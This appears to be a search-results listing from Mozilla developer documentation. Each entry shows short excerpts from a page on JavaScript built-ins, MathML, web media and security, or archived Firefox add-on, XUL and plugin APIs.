... when you extend an array by changing its length property, the number of actual elements increases; for example, if you set length to 3 when it is currently 2, the array now contains 3 elements, which causes the third element to be a non-iterable empty slot.
...And 4 more matches
Date.prototype[@@toPrimitive] - JavaScript
depending on the argument, the method can return either a string or a number.
... if hint is "string" or "default", [@@toprimitive]() tries to call the tostring method.
... if the tostring property does not exist, it tries to call the valueof method and if the valueof does not exist either, [@@toprimitive]() throws a typeerror.
...And 4 more matches
Error - JavaScript
the error object can also be used as a base object for user-defined exceptions.
... static methods error.capturestacktrace() a non-standard v8 function that creates the stack property on an error instance.
...you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } catch (e) { i...
...And 4 more matches
FinalizationRegistry.prototype.unregister() - JavaScript
there is no need to all unregister in your cleanup callback.
... only call unregister if you haven't received a cleanup callback and no longer need to receive one.
... examples using unregister this example shows registering a target object using that same object as the unregister token, then later unregistering it via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance.
...And 4 more matches
Intl.Collator.prototype.resolvedOptions() - JavaScript
the intl.collator.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and collation options computed during initialization of this collator object.
... syntax collator.resolvedoptions() return value a new object with properties reflecting the locale and collation options computed during the initialization of the given collator object.
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 4 more matches
Intl.DateTimeFormat.prototype.format() - JavaScript
the intl.datetimeformat.prototype.format() method formats a date according to the locale and formatting options of this intl.datetimeformat object.
... description the format getter formats a date into a string according to the locale and formatting options of this intl.datetimeformat object.
...note that the function is bound to the intl.datetimeformat from which it was obtained, so it can be passed directly to array.prototype.map().
...And 4 more matches
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
the intl.numberformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and number formatting options computed during initialization of this numberformat object.
... syntax numberformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given numberformat object.
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 4 more matches
Intl.RelativeTimeFormat - JavaScript
static methods intl.relativetimeformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... instance methods intl.relativetimeformat.prototype.format() formats a value and a unit according to the locale and formatting options of the given intl.relativetimeformat object.
... intl.relativetimeformat.prototype.formattoparts() returns an array of objects representing the relative time format in parts that can be used for custom locale-aware formatting.
...And 4 more matches
Math.clz32() - JavaScript
if the converted 32-bit unsigned integer is 0, then return 32, because all bits are 0.
... count leading ones and beyond at present, there is no math.clon for "count leading ones" (named "clon", not "clo", because "clo" and "clz" are too similar especially for non-english-speaking people).
... however, a clon function can easily be created by inversing the bits of a number and passing the result to math.clz32.
...And 4 more matches
Math.fround() - JavaScript
if the parameter is of a different type, it will get converted to a number or to nan if it cannot be converted.
...this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical.
... to solve this, math.fround() can be used to cast the 64-bit float to a 32-bit float.
...And 4 more matches
Object.isExtensible() - JavaScript
the object.isextensible() method determines if an object is extensible (whether it can have new properties added to it).
... return value a boolean indicating whether or not the given object is extensible.
... description objects are extensible by default: they can have new properties added to them, and (in engines that support __proto__) their __proto__ property can be modified.
...And 4 more matches
Object.prototype.__proto__ - JavaScript
if you care about performance you should avoid setting the [[prototype]] of an object.
... warning: while object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ecmascript 2015 specification as a legacy feature to ensure compatibility for web browsers.
...only recently was the __proto__ property standardized by the ecmascript 2015 specification for compatibility with web browsers, so it will be supported into the future.
...And 4 more matches
Proxy() constructor - JavaScript
it can be any sort of object, including a native array, a function, or even another proxy.
...by defining any of a set group of functions on the handler object, you can customise specific aspects of the proxy's behavior.
... for example, by defining get() you can provide a customised version of the target's property accessor.
...And 4 more matches
RegExp.prototype[@@replace]() - JavaScript
the replacement can be a string or a function to be called for each match.
... description this method is called internally in string.prototype.replace() if the pattern argument is a regexp object.
... if pattern argument is not a regexp object, string.prototype.replace() doesn't call this method, nor creates a regexp object.
...And 4 more matches
String.prototype.charAt() - JavaScript
the string object's charat() method returns a new string consisting of the single utf-16 code unit located at the specified offset into the string.
...if the index cannot be converted to the integer or no index is provided, the default is 0, so the first character of str is returned.
...the index of the first character is 0, and the index of the last character—in a string called stringname—is stringname.length - 1.
...And 4 more matches
String.prototype.matchAll() - JavaScript
the matchall() method returns an iterator of all results matching a string against a regular expression, including capturing groups.
... examples regexp.exec() and matchall() prior to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; let match; while ((match = regexp.exec(str)) !== null) { console.log(`found ${match[0]} start=${match.index} end=${regexp.lastindex}.`); // expected output: "found football start=6 end=14." // expected output: "found foosball...
... start=16 end=24." } with matchall available, you can avoid the while loop and exec with g.
...And 4 more matches
WebAssembly.instantiate() - JavaScript
this module can be instantiated again, shared via postmessage() or cached in indexeddb.
... if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure.
... if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure.
...And 4 more matches
isNaN() - JavaScript
description the necessity of an isnan function unlike all other possible values in javascript, it is not possible to rely on the equality operators (== and ===) to determine whether a value is nan or not, because both nan == nan and nan === nan evaluate to false.
... confusing special-case behavior since the very earliest versions of the isnan function specification, its behavior for non-numeric arguments has been confusing.
... // parsing this as a number fails and returns nan useful special-case behavior there is a more usage oriented way to think of isnan(): if isnan(x) returns false, you can use x in an arithmetic expression not making the expression return nan.
...And 4 more matches
void operator - JavaScript
in these cases, the global variable undefined can be used.
... it should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined examples immediately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration.
... void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror.
...And 4 more matches
icons - Web app manifests
type array mandatory yes the icons member specifies an array of objects representing image files that can serve as application icons for different contexts.
... for example, they can be used to represent the web application amongst a list of other applications, or to integrate the web application with an os's task switcher and/or system preferences.
... purpose can have one or more of the following values, separated by spaces: monochrome: a user agent can present this icon where a monochrome icon with a solid fill is needed.
...And 4 more matches
<merror> - MathML
WebMathMLElementmerror
in firefox this error message is rendered similar to the typical xml error message.
...you will still get an xml parsing error (in case of the xhtml notation of mathml), which has nothing to do with <merror>.
...you can use #rgb, #rrggbb and html color names.
...And 4 more matches
<mlabeledtr> - MathML
the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 4 more matches
<mrow> - MathML
WebMathMLElementmrow
when writing a mathml expression, you should group elements within an <mrow> in the same way as they are grouped in the mathematical interpretation of the expression.
... proper grouping helps the rendering of the expression in several ways: it can improve the display by possibly affecting spacing.
...you can use #rgb, #rrggbb and html color names.
...And 4 more matches
<msubsup> - MathML
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... this attribute is deprecated and will be removed in the future.
...And 4 more matches
Guide to streaming audio and video - Web media technologies
in this guide, we'll examine the techniques used to stream audio and/or video media on the web, and how you can optimize your code, your media, your server, and the options you use while performing the streaming to bring out the best quality and performance possible.
... <<<...xxxxxx...>>> protocols in addition to the configuration of the server and the streaming code, there are sometimes special protocols which can be used to optimize performance.
...hls may also be supported in other environments, although in some cases this support is conditional.
...And 4 more matches
Web API reference - Web technology reference
WebReferenceAPI
these can be accessed using javascript code, and let you do anything from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
... document object model the dom is an api that allows access to and modification of the current document.
... device apis this set of apis allows access to various hardware features available to web pages and applications.
...And 4 more matches
Referer header: privacy and security concerns - Web security
the referrer problem the referer (sic) header contains the address of the previous web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching.
... how can we fix this?
... much of this risk can be mitigated by sensible design of applications.
...And 4 more matches
hotkeys - Archive of obsolete content
usage to define a hotkey combination, create a hotkey object, passing it the combination and a function to be called when the user presses that combination.
...var { hotkey } = require("sdk/hotkeys"); var showhotkey = hotkey({ combo: "accel-shift-o", onpress: function() { showmypanel(); } }); var hidehotkey = hotkey({ combo: "accel-alt-shift-o", onpress: function() { hidemypanel(); } }); choosing hotkeys hotkeys should be chosen with care.
...for example, accel-s is typically used to save a file, but if you use it for something completely different, then it would be extremely confusing for users.
...And 3 more matches
indexed-db - Archive of obsolete content
usage scripts running in web pages can access indexeddb via the window object.
... for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this.
... so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself.
...And 3 more matches
io/text-streams - Archive of obsolete content
you can also create textreader objects using io/file's open() function.
... you can also create textwriter objects using io/file's open() function.
... writeasync(str, callback) writes a string on a background thread.
...And 3 more matches
jpmignore - Archive of obsolete content
by using this file you can let jpm know which files and directories you would like it to ignore when building a .xpi file with jpm xpi.
... here is an example: # ignore .ds_store files created by mac .ds_store # ignore any zip or xpi files *.zip *.xpi # ignore specific directory # you can start patterns with a forward slash (/) to avoid recursivity.
... # you can end patterns with a forward slash (/) to specify a directory.
...And 3 more matches
Adding a Button to the Toolbar - Archive of obsolete content
create a directory called "data", mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png then open the file called "index.js" in the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, ...
...the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature.
...if you specify a collection of icons in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button.
...And 3 more matches
Overview - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
... meanwhile the main module contains the application logic and mediates interactions between the different sdk objects.
...And 3 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscriptfile: self.data.url("my-script.js") }); } }); you can load more than one script, and the scripts can interact directly with eac...
...so you can load jquery, and then your content script can use that.
... loading several content script files the data assigned to contentscriptfile can be a vector.
...And 3 more matches
JS XPCOM - Archive of obsolete content
an interface is simply a list of constants and methods that can be called on the object, an example is nsifile.
... accessing xpcom components from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton).
...for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods fro...
...And 3 more matches
Migrating raw components to add-ons - Archive of obsolete content
historically, firefox has allowed third party contributions to be added to the application's components/ directory, but beginning with firefox 3.6, this is no longer permitted.
... components added in this way are invisible to users and cannot be managed through the firefox add-ons manager.
...the firefox extension mechanism allows you to do everything that you could do through direct component drops, but also gives you and your users extra flexibility and more sophisticated versioning support.
...And 3 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <url> element with its type attribute set to "application/x-suggestions+json".
... (this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
...these can be any additional information the search engine might want to return to be displayed by the browser, such as the number of results available for that search.
...And 3 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
this page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.
... note: xbl cannot be loaded over http, so this technique is only useful for local content accessed using the file:/// scheme, or from add-on code.
...information: xbl bindings the structure provided by markup languages and css is not ideal for complex applications where parts need to be self-contained and reusable.
...And 3 more matches
XML data - Archive of obsolete content
this page contains an example of how you can use css with xml data.
... you create a sample xml document, and a stylesheet that you can use to display it in your browser.
...by linking a css stylesheet with the xml document, you can define other ways to display it.
...And 3 more matches
Chromeless - Archive of obsolete content
the aim is to enable developers to create full blown desktop applications using only web technologies.
...one of the core capabilities of the chromeless platform is the ability to safely embed untrusted web applications inside these applications.
... chromeless vs prism/webrunner prism (an ex-mozilla labs project, now discontinued but kept going independently of mozilla under the [now discontinued] webrunner name) was/is a way to make web pages superficially appear to be native applications.
...And 3 more matches
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
although it is designed to retrieve xml content and parse it into a dom, it can retrieve (but not parse) other kinds of content as well.
... in this case we use it to retrieve an html page containing a brief summary of the current tinderbox state.
... xmlhttprequest is easy to use in the simple case we have here.
...And 3 more matches
Error Console - Archive of obsolete content
the error console is deprecated in firefox, and is now only made available if you set the devtools.errorconsole.enabled preference to true.
... the error console is a tool available in most mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens.
...in firefox, the error console can be opened from the tools menu or by ctrl-shift-j.
...And 3 more matches
Using microformats - Archive of obsolete content
to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript.
... geo represents a geographical location using latitude and longitude.
... hcard represents contact information for a person.
...And 3 more matches
Firefox Sync - Archive of obsolete content
components and services sync refers to a family of related components and services which provide synchronization of data between mozilla application instances.
...clients communicate through it.
... firefox home an ios application that functions as a sync client.
...And 3 more matches
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
onfirstrun() accepts a callback which is called after installation.
... note that this mechanism is independent of the first-run page; in particular, the callback is not a load event listener or jquery ready callback.
... onfirstrun() may be called anywhere in your jetpack, but if it is called as the result of some asynchronous operation such as a timeout or xmlhttprequest, it is ignored.
...And 3 more matches
Makefile.mozextension.2 - Archive of obsolete content
this makefile is a modification of the makefile.mozextention, found in makefile for packaging an extension - mozillazine knowledge base (2005).
...t ; so again it will be corrupt :( therefore, here is a direct link to this makefile: makefile.mozextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(she...
...either remove (clean it), or choose individual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(zipprog) -r chrome/$(project).jar content locale skin && \ $(zipprog) -r $(project).xpi chrome.manifest install.rdf components defaults chrome && cd ..
...And 3 more matches
Styling - Archive of obsolete content
prism allows for some client-side web application styling.
... the web application bundle is allowed to hold a css file named webapp.css (called the webapp style).
... this file will be loaded into the web application content stylesheet and can override the web application's native styles.
...And 3 more matches
Table Layout Strategy - Archive of obsolete content
on the first reflow nstableframe::balancecolumnwidths is called.
... cells can be members of colspans.
... 5 // fixed width + padding due to col spans #define pct 6 // percent width of cell or col #define pct_adj 7 // percent width of cell or col from percent colspan #define min_pro 8 // desired width due to proportional <col>s or cols attribute #define final 9 // width after the table has been balanced, considering all of the others the priority of allocations for columns is as follows: max(min_con, min_adj) max (pct, pct_adj) fix fix_adj max(des_con, des_adj), but use min_pro if present for a fixed width table, the column may get more space if the sum of the col allocations is insufficient column width info columns get their width information from style info <col width="200px"> and from the cells that belong into this column.
...And 3 more matches
Tuning Pageload - Archive of obsolete content
tuning pageload can be beneficial if you know what you're doing.
... firefox (and all mozilla products/projects which do page-loading) ship with what are considered the "best" settings for the most cases.
... content.interrupt.parsing this preference, when true, means that the content sink can tell the parser to stop for now and return to the event loop, which allows layout and painting to happen.
...And 3 more matches
Venkman - Archive of obsolete content
it aims to provide a powerful javascript debugging environment for mozilla based browsers namely firefox, netscape 7.x/9.x and seamonkey.
... note that it is not included in the gecko-based browsers such as k-meleon, galeon and netscape 8.x.
... documentation venkman introduction an overview and some practical examples of using the javascript debugger in web development.
...And 3 more matches
Methods - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
... exists returns a boolean value indicating whether the specified file exists or not.
... isdirectory returns a boolean value indicating whether an object is a directory.
...And 3 more matches
button.type - Archive of obsolete content
checkbox this type of button can be in two states.
... the user can click the button to switch between the states.
... this is not the same as a checkbox because it looks like a button.
...And 3 more matches
panel.flip - Archive of obsolete content
for example, if the menu doesn't have room to open downward, it flips to open upward instead; this is a vertical flip.
... horizontal flipping doesn't normally happen, since this would cause menus to open in strange places.
...you will not normally have to use this attribute, since it's automatically applied to arrow panels.
...And 3 more matches
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...using files a xul application or extension may access files on disk, and either read or write to files.
...the following example will retrieve a reference to a file located in the profile directory named sample.txt.
...And 3 more matches
Recursive Generation - Archive of obsolete content
this extra arrow which neither b or d have causes an extra set of buttons to be created.
... after generating content, the template builder always repeats the generation for inner levels as far as it can go.
... thus, the builder can be said to generate content from the graph recursively.
...And 3 more matches
Using Multiple Queries to Generate More Results - Archive of obsolete content
recall that when the member resource for a query matches several rules, only the earliest query that matches will have content generated for it.
... if resources don't overlap, we can generate content for two different parts of the rdf data.
...df:resource="http://www.xulplanet.com/rdf/person/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource.
...And 3 more matches
Adding more elements - Archive of obsolete content
first, we will add the capability to search for other information such as the file size and date.
...if you resize the window vertically, the elements do not change size.
... this is because they are inside horizontal boxes.
...And 3 more matches
Progress Meters - Archive of obsolete content
adding a progress meter a progress meter is a bar that indicates how much of a task has been completed.
... you typically see it when downloading files or when performing a lengthy operation.
... xul has a progressmeter element which can be used to create these.
...And 3 more matches
Scrolling Menus - Archive of obsolete content
this element can be used to create a scrolling box with arrows.
... the arrowscrollbox can be used anywhere a regular box can be used.
...it is always a vertical box and may contain any elements inside it.
...And 3 more matches
Window icons - Archive of obsolete content
starting with firefox 1.5, thunderbird 1.5, and xulrunner 1.8, you can specify an icon for a xul window by putting files named mywindow.ico (for windows) and mywindow.xpm or mywindow16.xpm (linux), where mywindow is the id of the <window> you want to attach the icon to, in the chrome/icons/default subfolder of your bundle.
... these icons will override the global icon files, which are located in app_dir/browser/chrome/icons/default.
...global icon files currently take precedence and bundles are only searched for icons which are not provided by the application.
...And 3 more matches
XULBrowserWindow - Archive of obsolete content
method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden.
... defaults to about:addons but extensions can append specific urls to the array.
... methods hidechromeforlocation determines whether or not browser chrome should be hidden for the specified location.
...And 3 more matches
binding - Archive of obsolete content
like the triple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name.
... that name can then be used within the action of a rule.
... properties object, predicate, subject examples fixme: (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties object type: string the object of the element.
...And 3 more matches
listhead - Archive of obsolete content
attributes disabled properties acesssibletype, disabled examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... in the case of form elements, it will not be submitted.
...And 3 more matches
listheader - Archive of obsolete content
attributes disabled properties acesssibletype examples <listbox> <listhead> <listheader label="name"/> <listheader label="occupation"/> </listhead> <listitem> <listcell label="george"/> <listcell label="house painter"/> </listitem> <listitem> <listcell label="mary ellen"/> <listcell label="candle maker"/> </listitem> <listitem> <listcell label="roger"/> <listcell label="swashbuckler"/> </listitem> </listbox> attributes disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... in the case of form elements, it will not be submitted.
...And 3 more matches
progressmeter - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a meter which can be used to display the progress of a lengthy operation.
... mode type: one of the values below a determinedprogressmeter is used in cases where you know how long an operation will take.
... an undeterminedprogressmeter can be used when you don't and will typically be drawn as a spinning barber pole.
...And 3 more matches
resizer - Archive of obsolete content
note: starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window.
... attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer dir="bottom" height="2" style="background-color: grey; cursor: s-resize;"/>...
... bottomstart resized down and toward the start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales).
...And 3 more matches
tabbox - Archive of obsolete content
/> <tab label="last tab"/> </tabs> <tabpanels> <tabpanel><!-- tabpanel first elements go here --></tabpanel> <tabpanel><!-- tabpanel second elements go here --></tabpanel> <tabpanel><button label="click me"/></tabpanel> <tabpanel><!-- tabpanel fourth elements go here --></tabpanel> </tabpanels> </tabbox> attributes eventnode type: one of the values below indicates where keyboard navigation events are listened to.
... parent keyboard navigation is captured at the parent of the tabbox.
... window keyboard navigation is captured at the window level.
...And 3 more matches
Specifying Startup Chrome Window - Archive of obsolete content
main chrome window in order to specify the main chrome window of your xulrunner application, you'll need to add a preferences file to your application directory structure and add a preference named toolkit.defaultchromeuri to that file.
... let's look at the xulmine xulrunner application.
...its contents are: pref("toolkit.defaultchromeuri", "chrome://xulmine/content/xulmine.xul"); the toolkit.defaultchromeuri preference specifies that the xul window at chrome://xulmine/content/xulmine.xul is the main application window.
...And 3 more matches
reftest opportunities files - Archive of obsolete content
if you can look at the html in one of these pages, and can see a way to get the same visual ouptut, then that is an obvious reftest opportunity.
... for example, if some html is in an unexpected place and is supposed to be ignored, then we can match against an html file that is missing that extra mark-up.
... in other cases, the design of the reference page may take more subtlety.
...And 3 more matches
2006-09-29 - Archive of obsolete content
details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimageframe::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a frame will occupy.
... called while * constructing the nshtmlreflowstate to be used to reflow the frame, * in order to fill its mcomputedwidth and mcomputedheight member * variables.
... */ virtual nssize computesize(nscoord aavailwidth, nscoord amargin, nscoord aborder, nscoord apadding, prbool ashrinkwrap) = 0; details can be located at refactoring some of nshtmlreflowstate.
...And 3 more matches
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 13 - october 20, 2006 announcements inter-operability test day on tuesday october 17 interoperability testing on tuesday, for calendar applications test on how sunbird works with published calendars that were generated.
...discussion about the missing ability to list and search all the events in a calendar in lightning 0.3.
... location of files discussion about where are the calendar files stored and can they be moved.
...And 3 more matches
External resources for plugin creation - Archive of obsolete content
project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation.
... nixysa was originally conceived for the needs of o3d, but is flexible enough to support a wide range of use cases.
... project: juce project home page description (from the home page): juce (jules' utility class extensions) is an all-encompassing c++ class library for developing cross-platform applications.
...And 3 more matches
NPN_Invoke - Archive of obsolete content
syntax #include <npruntime.h> bool npn_invoke(npp npp, npobject *npobj, npidentifier methodname, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the method on the object.
...methodname a string identifier indicating the name of the method to invoke.
...when the caller no longer needs the result, it must call npn_releasevariantvalue() to release it.
...And 3 more matches
NPP_Destroy - Archive of obsolete content
the browser calls this function when a plug-in instance is deleted, typically because the user has left the page containing the instance, closed the window, or quit the browser.
... if this function is deleting the last instance of a plug-in, np_shutdown is subsequently called.
... use np_shutdown to delete any data allocated in np_initialize and intended to be shared by all instances of a plug-in.
...And 3 more matches
NPP_URLNotify - Archive of obsolete content
npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
... notifydata plug-in-private value for associating a previous npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call.
... description the browser calls npp_urlnotify() after the completion of a npn_geturlnotify() or npn_posturlnotify() request to inform the plug-in that the request was completed and supply a reason code for the completion.
...And 3 more matches
NPSavedData - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in.
... buf pointer to a memory buffer allocated by the plug-in with npn_memalloc().
... can be any reasonable size; its contents are private to the plug-in and are not modified by the browser.
...And 3 more matches
Why use RSS - Archive of obsolete content
there are, in fact, many reasons to use rss, but the two biggest reasons can be broadly dictated by: #1 (obviously only use it if) it fits your needs and #2 it has a huge amount of momentum -- everyone is using it.
...people are using it to syndicate all sorts of things: news articles, blogs, bookmarks, internet radio shows, internet television shows, software updates, e-mails, mailing lists, music playlists, and more.
... if it is episodic, it can be syndicated with rss.
...And 3 more matches
-ms-block-progression - Archive of obsolete content
layout is vertical.
...layout is vertical.
... formal syntax tb | rl | bt | lr specifications not part of any specification.
...And 3 more matches
-ms-filter - Archive of obsolete content
important: as of windows internet explorer 9 this feature was deprecated.
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to start the filter.</p> // call the function.
... html <div class="gradient horizontal"></div> <div class="gradient vertical"></div> css html, body { overflow-x: hidden; max-width: 100vw; } .gradient { width: 100vw; height: 60px; height: 50vh; } .gradient.horizontal { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=1)'; background-image: linear-gradient(to right, #ffffff 0%, #000000 100%); } .gradient.vertical { -ms-filter: 'p...
...And 3 more matches
Expression closures - Archive of obsolete content
the expression closure syntax is a deprecated firefox-specific feature and has been removed starting with firefox 60.
...can be omitted, in which case the function is anonymous.
... the name is only local to the function body.
...And 3 more matches
JavaPackage - Archive of obsolete content
if the package is in the java, netscape, or sun packages, the packages keyword is optional.
...for example, the netscape package contains the package netscape.javascript; the netscape.javascript package contains the classes jsobject and jsexception.
...for example, a reference to netscape is a javapackage.
...And 3 more matches
Server-Side JavaScript - Archive of obsolete content
here's a radical idea: use one language to write entire web apps -- the same language which billions of web pages already use, every day.
... the simplicity of using javascript on the server was part of netscape's original vision back in the day with netscape livewire.
... but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies.
...And 3 more matches
Window.importDialog() - Archive of obsolete content
summary because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog().
... syntax newdialog = importdialog(aparent, asrc, aarguments) newdialog the opened window aparent the dialog's parent; can be null.
... example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted.
...And 3 more matches
